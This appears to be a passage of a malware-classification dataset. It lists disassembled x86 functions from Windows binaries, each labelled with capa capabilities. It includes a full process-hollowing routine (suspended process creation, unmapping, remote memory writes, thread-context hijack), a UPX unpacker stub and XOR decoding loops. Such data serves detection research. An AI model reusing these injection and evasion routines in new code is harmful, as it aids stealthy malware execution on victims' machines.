joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ab83
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x18], 2
mov dword [ebp - 8], 0x97
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x2c], 0
lea eax, [ebp + 8]
push eax
push str.MnEelkNNyJQp
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 8], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx]
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40ac12
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x40abf5
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
push fcn.0040d5a3
mov ecx, dword [0x41c0d4]
push ecx
call dword [ebp + 0xc]
add esp, 8
mov esp, ebp
pop ebp
ret

Function at 0x40ac33
Capabilities:
Allocate thread local storage
Enumerate files on windows
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
mov dword [ebp - 0x24], 0x3d
mov dword [ebp - 0x3c], 0xd2
mov dword [ebp - 0xd4], 0xb6
mov dword [ebp - 0x14], 0x86
mov dword [ebp - 0x38], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0xc], 0xe8
jmp 0x40ac82
Function at 0x410ef3
Capabilities:
Authenticate hmac
Enumerate files on windows
Get file size
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0x44], 0x48
mov dword [ebp - 0x18], 0xbd
mov dword [ebp - 0x70], 0x8d
mov dword [ebp - 0x28], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov eax, dword [0x41c12c]
xor eax, dword [ebp - 0x18]
mov ecx, dword [0x41c11c]
or ecx, dword [ebp - 0x28]
cmp eax, ecx
jbe 0x410f44
mov dword [ebp - 0x48], 1
jmp 0x410f4b
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 0
jne 0x410f85
mov edx, dword [ebp - 0xc]
xor edx, dword [ebp - 0x18]
mov eax, dword [0x41c0d4]
add eax, dword [0x41c0c0]
cmp edx, eax
je 0x410f6f
mov dword [ebp - 0x4c], 1
jmp 0x410f76
mov dword [ebp - 0x4c], 0
cmp dword [ebp - 0x4c], 0
jne 0x410f85
mov dword [ebp - 0x50], 0
jmp 0x410f8c
mov dword [ebp - 0x50], 1
cmp dword [ebp - 0x50], 0
jne 0x410fbc
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 4]
jne 0x410fab
mov edx, dword [ebp - 0x70]
xor edx, dword [ebp - 0xc]
jne 0x410fab
mov dword [ebp - 0x54], 0
jmp 0x410fb2
mov dword [ebp - 0x54], 1
cmp dword [ebp - 0x54], 0
je 0x411207
mov dword [ebp - 0xb8], 0x55
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x10], 0
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.UvfPL.Qcb
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0xb4]
push eax
push str.CSxoWv
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 8], 0
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x1c], eax
mov edx, 4
shl edx, 0
mov eax, dword [0x41c134]
mov ecx, dword [eax + edx]
mov dword [0x41c12c], ecx
push 0x8000
push 0xc
mov edx, dword [0x41c134]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x411070
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x411050
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x30]
sub edx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], edx
invalid
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x43b648
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop esi
inc edx
sub eax, 0x7caad8af
call fcn.0043b682
add edx, 0xdd390261
and edx, edx
sub eax, 1
xor dword [ebx], esi
add edx, 0x82d68816
inc ebx
or eax, eax
cmp ebx, ecx
jne fcn.0043b648
push 0x29122785
pop edx
and eax, eax
ret
Function at 0x401060
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x40]
push ebx
push eax
mov dword [ebp - 0x44], ebx
call fcn.004011c1
mov eax, dword [0x4050a4]
add esp, 0xc
cmp eax, ebx
je 0x401093
call eax
test eax, eax
jne 0x401093
push 0xfffffffffffffffe
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 1
push 0x404070
push 0x404068
call fcn.00401199
add esp, 0xc
test eax, eax
je 0x4010af
push 0xfffffffffffffffd
jmp 0x40108d
push ebx
push 0x404064
push 0x404060
call fcn.00401199
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
cmp esi, ebx
jne 0x4010d3
mov esi, 0x404084
mov cl, 0x20
jmp 0x4010dc
cmp al, 0x20
ja 0x4010e6
inc esi
mov al, byte [esi]
cmp al, bl
jne 0x4010d7
cmp al, 0x20
jbe 0x4010fd
mov al, byte [esi]
cmp al, 0x22
jne 0x4010ef
xor cl, 0x20
inc esi
mov al, byte [esi]
cmp al, cl
ja 0x4010e8
jmp 0x4010fd
cmp al, cl
ja 0x401103
inc esi
mov al, byte [esi]
cmp al, bl
jne 0x4010f8
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x44], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test eax, 0xa0d0a0d
sub eax, 0x54524357
sub eax, 0xa0d0a0d
test byte [ebp - 0x18], 1
je 0x40112f
movzx eax, word [ebp - 0x14]
jmp 0x401132
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call fcn.00401162
pop ecx
pop esi
pop ebx
leave
ret

Function at 0x401162
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
call fcn.004011ef
push 0
push 0x404078
push 0x404074
call fcn.00401199
push 0
push 0x404080
push 0x40407c
call fcn.00401199
add esp, 0x18
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4030bd
Capabilities:
Accept command line arguments
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push dword [ebp + 8]
xor esi, esi
lea eax, [ebp - 0x44]
push eax
push esi
push esi
push 0x8000004
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp + 8]
pop esi
leave
ret
Function at 0x4031de
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
mov eax, ebx
call fcn.004031aa
push ebx
mov dword [ebp - 0x10], eax
call fcn.0040319f
mov esi, eax
mov eax, dword [esi + 0x34]
mov dword [ebp - 4], eax
mov eax, dword [esi + 0x28]
mov dword [esp], str.NtUnmapViewOfSection
push str.ntdll.dll
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 4]
push dword [ebp + 8]
call eax
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [esi + 0x54]
push ebx
push dword [ebp - 4]
push dword [ebp + 8]
call edi
xor eax, eax
cmp word [esi + 6], ax
mov dword [ebp - 8], eax
jbe 0x403297
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 0xc]
push 0
lea eax, [eax + ebx + 0xf8]
push dword [eax + 0x10]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 4]
add ecx, ebx
push ecx
push eax
push dword [ebp + 8]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 8]
add dword [ebp - 0xc], 0x28
cmp dword [ebp - 8], eax
jl 0x403260
lea eax, [ebp - 0x2e0]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x2e0], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x23c]
add eax, 8
push eax
push dword [ebp + 8]
call edi
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
add ecx, eax
lea eax, [ebp - 0x2e0]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x230], ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
mov dword [0x405018], 1
xor eax, eax
pop esi
leave
ret 0x10
Function at 0x403301
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 2
push 1
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push str.LoadResource
push str.Kernel32.dll
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push dword [ebp + 8]
call eax
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov edi, dword [esi + 2]
sub edi, 0x36
call dword [0x40500c]
mov ebx, eax
push ebx
sub edi, ebx
call fcn.00401021
push edi
mov dword [ebp - 4], eax
call fcn.00401021
mov dword [ebp - 8], eax
mov eax, dword [esi + 0xa]
push ebx
add eax, esi
push eax
push dword [ebp - 4]
call fcn.00401000
mov eax, dword [esi + 0xa]
add eax, ebx
push edi
add eax, esi
push eax
push dword [ebp - 8]
call fcn.00401000
add esp, 0x20
push 0
push 0
push 5
push 0x99
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
and dword [ebp + 8], 0
test eax, eax
mov dword [ebp - 0xc], eax
jbe 0x4033dd
cmp dword [ebp + 8], 0x534
push ebx
je 0x4033e4
mov eax, dword [esi + 0xa]
add eax, esi
push eax
push dword [ebp - 4]
call fcn.00401000
mov eax, dword [esi + 0xa]
add eax, ebx
push edi
add eax, esi
push eax
push dword [ebp - 8]
call fcn.00401000
add esp, 0x18
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0xc]
jb 0x4033a6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp - 4]
push edi
push dword [ebp - 8]
call fcn.00403145
push dword [ebp - 4]
call fcn.00401044
mov eax, dword [ebp - 8]
add esp, 0x14
jmp 0x4033df

Function at 0x40348c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push eax
push 0x403434
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
leave
ret
Function at 0x40158b
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46ed50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x14], 1
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x4015fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x4015fd
mov byte [ebp - 0x14], 0
mov edx, dword [ebp + 0xc]
mov dword [edx], 0
mov dword [edx + 4], 0
jmp 0x40161d
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, 0x20
call fcn.0042ec60
mov ecx, dword [ebp - 0x1c]
xor esi, esi
or eax, ecx
or edx, esi
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov dword [ecx + 4], edx
jmp 0x401629
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401bd8
Capabilities:
Encode data using xor
Hash data with crc32
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46ed8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1014
call fcn.0042ec80
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0xc]
mov dword [eax], 0xffffffff
mov dword [ebp - 4], 0
push 0
push 0x8000027
push 3
push 0
push 1
push closesocket
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x401c52
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x18], eax
jmp 0x401ce3
mov dword [ebp - 0x20], 0x487120
push 0
lea edx, [ebp - 0x1024]
push edx
push 0x1000
lea eax, [ebp - 0x1020]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401ce3
cmp dword [ebp - 0x1024], 0
je 0x401ce3
push esi
push edi
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov edi, dword [ebp - 0x20]
lea esi, [ebp - 0x1020]
mov ebx, dword [ebp - 0x1024]
lea edx, [esi + ebx]
xor eax, eax
mov bl, byte [esi]
mov al, cl
inc esi
xor al, bl
shr ecx, 8
mov ebx, dword [edi + eax*4]
xor ecx, ebx
cmp edx, esi
jne 0x401ca3
pop edi
pop esi
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
push 0
lea edx, [ebp - 0x1024]
push edx
push 0x1000
lea eax, [ebp - 0x1020]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x1c], eax
jmp 0x401c7b
jmp 0x401cf2
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x14], 0
je 0x401d09
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
not ecx
mov edx, dword [ebp + 0xc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405e16
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push edi
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 0x100
mov al, byte [0x4954f0]
mov byte [ebp - 0x104], al
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 4]
push ecx
push 0x20019
push 0
push 0x48aadc
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405ec0
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 0
push str.Folder
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x104]
push ecx
mov ecx, dword [ebp - 0x110]
add ecx, 0x168
call fcn.00465ea2
jmp 0x405ee1
push 0
push 0
push 5
call fcn.00407cdc
add esp, 4
mov ecx, eax
call fcn.00402400
push eax
mov ecx, dword [ebp - 0x110]
call fcn.00463e70
mov dword [ebp - 0x108], 0x100
lea edx, [ebp - 4]
push edx
push 0x20019
push 0
push 0x48ab04
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405f56
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x10c]
push edx
push 0
push str.Server
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405f56
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x104]
push edx
mov ecx, dword [ebp - 0x110]
add ecx, 0x578
call fcn.00465ea2
mov dword [ebp - 0x108], 0x100
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareGamaSoftMP_Client_MY_
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405fcb
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x10c]
push eax
push 0
push str.PatchServer
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405fcb
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x104]
push eax
mov ecx, dword [ebp - 0x110]
add ecx, 0x57c
call fcn.00465ea2
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x407009
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46f31f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5c
push edi
mov dword [ebp - 0x68], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x68]
cmp dword [eax + 0x3b4], 0
je 0x40704c
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00465d19
jmp 0x4070b5
mov dword [ebp - 0x64], 0x44
mov dword [ebp - 0x60], 0
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x5c]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x64]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
lea ecx, [ebp + 8]
call fcn.00402400
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jne 0x4070a6
cmp dword [ebp + 0xc], 1
jne 0x4070a6
push 0xffffffffffffffff
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00465d19
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
mov esp, ebp
pop ebp
ret 8
Function at 0x40e230
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
add esp, 0x190
ret

Function at 0x40e2e0
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
sub esp, 8
push esi
mov esi, dword [esp + 0x10]
mov eax, 1
push edi
test esi, esi
mov dword [esp + 0xc], eax
mov word [esp + 8], ax
mov word [esp + 0xa], 0
jne 0x40e30a
pop edi
xor al, al
pop esi
add esp, 8
ret
push 0
push eax
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x40e324
pop edi
xor al, al
pop esi
add esp, 8
ret
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea ecx, [esp + 0xc]
push 4
push ecx
push 8
push 0xffff
push eax
call edi
cmp eax, 0xffffffff
jne 0x40e348
pop edi
xor al, al
pop esi
add esp, 8
ret
mov eax, dword [esi]
lea edx, [esp + 8]
push 4
push edx
push 0x80
push 0xffff
push eax
call edi
cmp eax, 0xffffffff
jne 0x40e36b
pop edi
xor al, al
pop esi
add esp, 8
ret
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
mov eax, dword [esi]
push 0x31
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_WSAAsyncSelect]
cmp eax, 0xffffffff
pop edi
setne al
pop esi
add esp, 8
ret

Function at 0x40e3d0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40e3e2
xor al, al
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov ecx, dword [esp + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov al, 1
ret

Function at 0x40e400
Capabilities:
Connect socket

Disassembly:
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 4]
push 0
push 0
push eax
push 0
lea ecx, [esp + 0x18]
push 0x10
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x40e439
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x40e439
cmp eax, 0x2733
je 0x40e439
xor al, al
ret
mov al, 1
ret

Function at 0x40edc0
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
push 0
push esi
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40ede1
cmp esi, eax
je 0x40ede3
xor eax, eax
pop esi
ret 0xc

Function at 0x40edf0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
push 0
push 0xc8000
mov eax, dword [esi + 4]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40ee16
mov dword [esi], eax
pop esi
ret 8
xor eax, eax
pop esi
ret 8